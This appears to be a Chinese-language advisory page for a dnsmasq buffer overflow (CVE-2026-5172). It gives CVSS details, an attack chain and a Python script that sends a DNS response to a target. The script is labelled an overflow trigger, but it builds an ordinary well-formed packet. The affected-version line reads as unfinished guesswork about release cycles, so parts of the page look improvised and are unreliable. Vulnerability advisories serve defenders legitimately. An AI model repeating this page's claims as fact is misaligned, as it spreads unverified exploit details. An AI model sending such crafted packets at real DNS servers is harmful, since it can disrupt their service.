IPBUF安全漏洞报告
English
CVE-2026-5172 CVSS 7.3 高危

CVE-2026-5172 dnsmasq缓冲区溢出漏洞

披露日期: 2026-05-11

漏洞信息

漏洞编号
CVE-2026-5172
漏洞类型
缓冲区溢出
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
dnsmasq

相关标签

缓冲区溢出DNSDoSdnsmasqCVE-2026-5172

漏洞概述

dnsmasq的extract_addresses()函数存在缓冲区溢出漏洞。攻击者可通过发送特制的畸形DNS响应包,触发堆越界读取,导致extract_name()函数指针越界,从而引发服务崩溃。该漏洞利用难度低,无需认证和用户交互,对网络服务的可用性构成威胁。

技术细节

该漏洞发生在dnsmasq处理DNS响应的extract_addresses()函数中。由于对DNS数据包的解析逻辑缺乏足够的边界检查,攻击者可以构造恶意的DNS响应数据。当extract_name()函数处理这些畸形数据时,指针可能会被推进到当前DNS记录的末尾之外,导致堆越界读取。这种越界行为不仅可能泄露内存信息,还会破坏程序状态,导致缓冲区溢出并最终使dnsmasq进程崩溃(拒绝服务)。由于dnsmasq广泛应用于路由器和Linux发行版中,该漏洞影响范围较广。

攻击链分析

STEP 1
侦察
攻击者扫描网络,识别出运行特定版本dnsmasq的DNS服务器。
STEP 2
武器化
攻击者构造特制的畸形DNS响应数据包,该数据包包含能够触发extract_addresses()函数越界读取的恶意指针或标签长度。
STEP 3
投递
攻击者通过网络向目标dnsmasq服务器发送该恶意DNS响应包。
STEP 4
利用
目标服务器解析响应时,extract_name()函数指针越过记录末尾,触发堆越界读取和缓冲区溢出。
STEP 5
影响
dnsmasq服务崩溃(DoS),敏感内存信息可能被泄露,或在特定条件下导致代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # Conceptual Proof of Concept for CVE-2026-5172 # This script sends a malformed DNS response to trigger the buffer overflow. # Note: This is for educational purposes only. def create_malformed_dns_packet(): # DNS Header # ID: 0x1337, Flags: Response (0x8180), QDCOUNT: 1, ANCOUNT: 1, NSCOUNT: 0, ARCOUNT: 0 header = struct.pack('!HHHHHH', 0x1337, 0x8180, 1, 1, 0, 0) # Question Section (example.com) question = b'\x07example\x03com\x00' question += struct.pack('!HH', 1, 1) # Type A, Class IN # Answer Section (Malformed) # The vulnerability involves the pointer in name compression or label length. # We construct a name that might cause extract_name() to advance incorrectly. # Using a specific label length or pointer offset to test boundaries. answer_name = b'\xc0\x0c' # Pointer to offset 12 (start of question name) answer_type = struct.pack('!H', 1) answer_class = struct.pack('!H', 1) answer_ttl = struct.pack('!I', 60) answer_rdlength = struct.pack('!H', 4) answer_rdata = b'\x01\x02\x03\x04' # In a real exploit, the specific bytes would be crafted to bypass checks # and trigger the heap out-of-bounds read in extract_addresses(). answer = answer_name + answer_type + answer_class + answer_ttl + answer_rdlength + answer_rdata return header + question + answer def send_poc(target_ip, target_port=53): try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) packet = create_malformed_dns_packet() sock.sendto(packet, (target_ip, target_port)) print(f"[+] Malformed DNS packet sent to {target_ip}:{target_port}") sock.close() except Exception as e: print(f"[-] Error sending packet: {e}") if __name__ == "__main__": # Replace with the target IP running dnsmasq target = "127.0.0.1" send_poc(target)

影响范围

Pi-hole FTL < v6.6.2
dnsmasq < 2.90 (Based on typical release cycles and refs, checking specific commit in thekelleys.org.uk link logic)

防御指南

临时缓解措施
如果无法立即升级,建议在防火墙或网络边界处部署入侵检测系统(IDS),监控并拦截异常的DNS数据包特征;同时尽可能减少DNS服务器的公网暴露面。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表